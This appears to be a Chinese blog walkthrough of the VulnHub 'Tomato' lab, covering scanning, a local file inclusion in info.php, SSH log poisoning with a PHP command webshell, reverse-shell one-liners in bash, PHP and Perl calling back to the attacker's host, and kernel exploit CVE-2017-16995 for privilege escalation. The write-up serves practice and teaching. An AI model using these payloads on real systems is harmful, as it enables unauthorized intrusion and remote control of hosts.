当前位置:网站首页>vulnhub之tomato(西红柿)
vulnhub之tomato(西红柿)
2022-07-03 11:05:00 【梅_花_七】
目录
一、主机发现
二、端口扫描
三、服务版本发现
开放了两个http服务端口,使用的中间件不一样。
21端口部署ftp
2211端口部署ssh服务
还知道这是unbuntu系统。
四、信息收集
1.80
果然是个大西红柿,再例行检查下源码,业务有用信息
2.8888
登录框,最经典尝试,弱口令。无法成功
五、扩大供给面扫描目录
1.dirsearch常规字典
啥都没有,换大字典的话dirsearch跑的很慢,所以换gobuster
2.gobuster
是基于go语言开发的,速度快
gobuster dir -u http://192.168.0.101 -w /usr/share/seclists/Discovery/Web-Content/common.txt
301状态码引起我们的注意
六、/antibot_image信息收集
1.从图片判断这服务器部署里反爬虫应用
2.info.php文件
这就是一个phpinfo文件,里面有开关配置信息,服务器环境,配置文件目录等
3.info.php文件源码
注释中出现了信息泄露,很明显是一个include文件包含的函数
七、文件包含
1.参数中对本地文件进行包含
2.对远程文件包含
实操:在kali上创建一个php文件,来远程包含,失败
条件:简单来说远程
文件包含,就是可以包含其他主机上的文件,并当成php代码执行。
要实现远程
文件包含的话,php配置的allow_url_include = on
必须为on(开启)
这点从phpinfo中也可以看出来。他没开
3.通过文件包含漏洞查看私钥
失败,他没有/home/tomato/.ssh/id_rsa
4.查看ubuntu日志文件
/var/log/auth.log
这个日志是unbuntu默认的登陆失败的记录日志。所以我们可以利用ssh或者ftp登录失败注入代码。
5.测试
ssh [email protected] -p 2211
果然我们输入的aaaaaaaaaaaa都出现在了上面,把他更改为木马
6.写入命令执行木马到日志
<?php echo system($_GET['cc'])?>
将这个写入的时候,php代码没有显示,证明服务器存在php运行环境,注入脚本正常解析了
7.参数测试
view-source:http://192.168.0.101/antibot_image/antibots/info.php?image=/var/log/auth.log&cc=id
八、反弹shell
最后利用python反弹成功
1.bash
bash -i >& /dev/tcp/192.168.0.104/4444 0>&1
2.php
php -r '$sock=fsockopen("控制端ip",控制端端口);exec("/bin/bash -i <&3 >&3 2>&3");'
3.perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
九、内核漏洞枚举提权
1.工具linux-exploit-suggester
sudo apt install linux-exploit-suggester
2.传输工具
服务端:
nc -nvlp 4444 > 1.sh
客户端:
nc 192.168.0.101 4444 < linux-exploit-suggester.sh -w 1
3.挨个尝试
十、CVE-2017-16995
在kali端用gcc编译后,nc上传,给予权限,最后执行。
边栏推荐
- Redis things
- After watching the video, AI model learned to play my world: cutting trees, making boxes, making stone picks, everything is good
- Arctangent entropy: the latest SCI paper in July 2022
- Hongmeng third training (project training)
- R语言使用data.table包进行数据聚合统计计算滑动窗口统计值(Window Statistics)、计算滑动分组中位数(median)并合并生成的统计数据到原数据集中
- R language uses grid of gridextra package The array function combines multiple visual images of the ggplot2 package horizontally, and the ncol parameter defines the number of columns of the combined g
- 鸿蒙第三次培训(项目实训)
- 一文搞懂Go语言Context
- C language utf8toutf16 (UTF-8 characters are converted to hexadecimal encoding)
- PHP server interacts with redis with a large number of close_ Wait analysis
猜你喜欢
随机推荐
Solicitation for JGG special issue: spatio-temporal omics
Software testing weekly (issue 78): the more confident you are about the future, the more patient you are about the present.
phpcms 提示信息頁面跳轉showmessage
程序员的创业陷阱:接私活
Kibana - installation and configuration of kibana
vulnhub之presidential
Arctangent entropy: the latest SCI paper in July 2022
The world's most popular font editor FontCreator tool
836. Merge sets (day 63) and search sets
How to mix embedded MCU, arm and DSP?
How to make others fear you
Oracle withdraw permission & create role
R language uses grid of gridextra package The array function combines multiple visual images of the ggplot2 package horizontally, and the ncol parameter defines the number of columns of the combined g
PHP Basics
C language utf8toutf16 (UTF-8 characters are converted to hexadecimal encoding)
typeScript
Sheet1$.输出[Excel 源输出].列[XXX] 出错。返回的列状态是:“文本被截断,或者一个或多个字符在目标代码页中没有匹配项。”。
POI excel cell wrap
After watching the video, AI model learned to play my world: cutting trees, making boxes, making stone picks, everything is good
The tutor put forward 20 pieces of advice to help graduate students successfully complete their studies: first, don't plan to take a vacation